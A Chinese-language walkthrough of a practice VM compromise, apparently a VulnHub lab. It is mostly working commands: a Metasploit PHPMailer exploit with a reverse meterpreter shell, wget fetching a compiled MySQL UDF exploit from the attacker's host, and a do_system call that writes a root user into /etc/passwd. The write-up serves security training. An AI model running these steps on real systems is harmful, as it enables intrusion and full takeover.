先对目标靶机的网段进行扫描,用nmap命令
nmap -sS 10.9.63.0/24
发现目标IP为10.9.63.96(每个人扫描的ip在不同网段都不一样,根据自身情况进行甄别)看看都开启了哪些端口,发现有22、80、111端口开放,打开网页输入ip查看一下80端口http服务网页
用nmap进行详细信息扫描
nmap -sT -sV -sC -O -p22,80,111 10.9.63.96
在用dirb扫描一下目录
dirb http://10.9.63.96
发现有这个目录,我们复制链接打开看一下有什么信息内容
发现了一些目录,按个看看搜集有用信息
根据搜集到的信息,网站使用apacbe框架,用了PHPMailer,是发送邮件的一个扩展包,版本是5.2.16
我们用kali里面的搜索漏洞工具msf搜索一下PHPMailer
发现两个漏洞,我们查看一下怎么使用
info 0
使用这个漏洞
use 0
发现没有攻击载合,给了一个默认的攻击载合,我们就用它给的默认载合
set payload php/meterpreter/reverse_tcp
看一下配置信息
show options
根据要求配置一下信息
set RHOSTS 10.9.63.96
set TARGETURI /contact.php
set WEB_ROOT /var/www/html
run
然后复制红框里的目录,在网页打开,利用shell反弹进去,大约需要5分钟
进来之后输入shell,然后输入python3 -c “import pty;pty.spawn(‘/bin/bash’)”,进入交互模式
然后找到这个文件cat一下,找到里面数据库的账号和密码
登录进入数据库,输入账号和密码(root,R@v3nSecurity)
mysql -uroot -p
在开启一个终端,查找 mysql udf 漏洞
searchsploit mysql udf
下载1518.c文件
searchsploit -m 1518.c
vim一下根据里面的使用方法进行配置
更改文件名称为raptor_udf2.c,按照下面配置进行操作
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
再次进入到数据库
mysql -u root -p
开启http服务
python3 -m http.server 80
在后台服务下载raptor_udf2.so文件,下载到了/tmp目录下
wget 10.9.63.146/raptor_udf2.so
进入数据库,在mysql数据库中操作
insert into lmx values(load_file('/tmp/raptor_udf2.so'));
select * from lmx into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
设置一个新密码
mkpasswd
写入一个用户
select do_system('echo "lmxyyds:56Xh0RAeByXi.:0:0::/root:/bin/bash">>/etc/passwd');
退出数据库,cat一下用户里面新增没有
cat /etc/passwd
发现已经有刚刚新增的用户了,使用 su 命令切换用户
su lmxyyds
进入root管理员用户查看id,发现uid为0,已经是管理员权限,提权成功啦!!!
我们cat一下root下的root.txt文件,goodjob you!